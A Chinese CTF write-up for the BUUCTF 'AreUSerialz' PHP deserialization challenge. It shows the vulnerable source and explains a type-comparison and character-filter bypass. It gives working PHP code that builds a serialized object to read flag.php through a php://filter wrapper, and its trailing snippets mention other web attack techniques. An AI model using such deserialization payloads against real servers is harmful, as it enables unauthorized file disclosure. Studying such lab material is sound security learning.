首页 > 其他分享 >Buuctf——[网鼎杯 2020 青龙组]AreUSerialz

Buuctf——[网鼎杯 2020 青龙组]AreUSerialz

时间:2023-09-22 10:36:52浏览次数:40  
标签:function Buuctf AreUSerialz res filename content output 网鼎杯 op

这是一道序列化的题目

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {     //op是1可以写
        if($this->op == "1") {
            $this->write(); 
        } else if($this->op == "2") {    //op是2可以读,此处为弱类型比较,可以是数字2
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")   //强类型比较,实例销毁时若op===2则覆盖写入空
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

分析可知,设置op为数字2,可以绕过_destruct方法。使用如下payload

<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content="aaa";

}

$a = new FileHandler();
$b = serialize($a);
echo urlencode($b);
echo $b;

结果发现没有一点回显,考虑是没有反序列化。继续查看源码发现有一个is_valid()函数,要求字符串里的字符ascii只能在32到125之间。而protected字段反序列化后会生成%00*%00。不满足要求,于是将protected改为public

<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content="aaa";

}

$a = new FileHandler();
$b = serialize($a);
echo urlencode($b);
echo $b;

标签:function,Buuctf,AreUSerialz,res,filename,content,output,网鼎杯,op
From: https://www.cnblogs.com/niyani/p/17721698.html

相关文章

  • Buuctf——[RoarCTF 2019]Easy Calc
     有waf,不能出现非数字参数值。使用%20num可以绕过waf(AbusingPHPquerystringparsertobypassIDS,IPS,andWAF(secjuice.com))过滤了单双引号,可以用chr()函数构造字符串?%20num=var_dump(scandir(chr(46))) ?%20num=show_source(chr(47).chr(102).chr(49).chr(97).ch......
  • BUUCTF [GYCTF2020]FlaskApp
    因为题目名Flask,所以先观察功能点,寻找易发生ssti的功能。考虑到功能异常抛出常见于解密环节,所以在解密界面随便输入一段不能解密的。直接报错抛出debug信息,看来是开启了debug模式。payload的使用需要输入到加密界面,再将加密结果输入到解密界面查看结果。方法1首先想办法把完......
  • BUUCTF-Web
    CTF实战:从入门到提升1.3.5.[第一章][1.3.5案例解析][极客大挑战2019]Http 打开页面,没有发现什么有用的东西右键打开页面源代码,发现页面Secret.php 显示Itdoesn'tcomefrom'https://Sycsecret.buuoj.cn',使用postman,增加Referer头显示Please use "Syclo......
  • BUUCTF [De1CTF 2019]SSRF Me
    源码#!/usr/bin/envpython#encoding=utf-8fromflaskimportFlaskfromflaskimportrequestimportsocketimporthashlibimporturllibimportsysimportosimportjsonreload(sys)sys.setdefaultencoding('latin1')app=Flask(__name__......
  • BUUCTF [极客大挑战 2019]FinalSQL
    通过尝试发现注入点在search.php。传递?id=1^1报ERROR!!!;传递?id=1^0报NO!Notthis!Clickothers~~~布尔盲注importrequestsimporttimeurl="http://eab3a4cf-d57d-4236-a9f9-1383446ba4e1.node4.buuoj.cn:81/search.php?"result=''temp={"id":......
  • BUUCTF [SWPU2019]Web1
    进入网站,注册登录,进到申请发布广告,应该就是在这里实现注入。首先尝试:1'or1=1#标题含有敏感词汇应该是哪里被过滤了。经过尝试后是or被过滤了,--+,#等其他的注释符也被过滤了。经过测试后,结尾可以用单引号闭合。再次尝试:1'showdatabases()'1'showdatabases()'空格被......
  • BUUCTF [CISCN2019 华东南赛区]Web11
    切入点如图:测试模板注入最后或者payload:X-Forwarded-For:{ifreadfile('/flag')}{/if}原理是Smarty已经废弃{php}标签。在Smarty3.1,{php}仅在SmartyBC中可用。Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}。全部的PHP条件表......
  • BUUCTF [网鼎杯 2020 朱雀组]Nmap
    payload:127.0.0.1|'<?=@eval($_POST["hack"]);?>-oGhack.phtml'nmap`-oG`:将扫描结果输出到一个文本文件中,G代表生成一种称为"grepableoutput"(可用于grep命令的输出)的格式,这种格式是一种易于处理的文本格式。写入`hack.phtml`而不是`hack.php`的原因在于php可能被过......
  • BUUCTF [BUUCTF 2018]Online Tool
    首先访问网站得到需要分析的代码<?phpif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$_SERVER['REMOTE_ADDR']=$_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])){highlight_file(__FILE__);}else{$hos......
  • BUUCTF [安洵杯 2019]easy_web
    试试模板注入发现,不行,然后伪协议,不行,再爆破目录也不行。从?img=TXpVek5UTTFNbVUzTURabE5qYz0入手,可能是base64编码。base64解码:(不知道为什么别的WP上变成这样了,否则解不出来)TXpVek5UTTFNbVUzTURabE5q得到:MzUzNTM1MmU3MDZlNj再base64解码:MzUzNTM1MmU3MDZl得到:353535......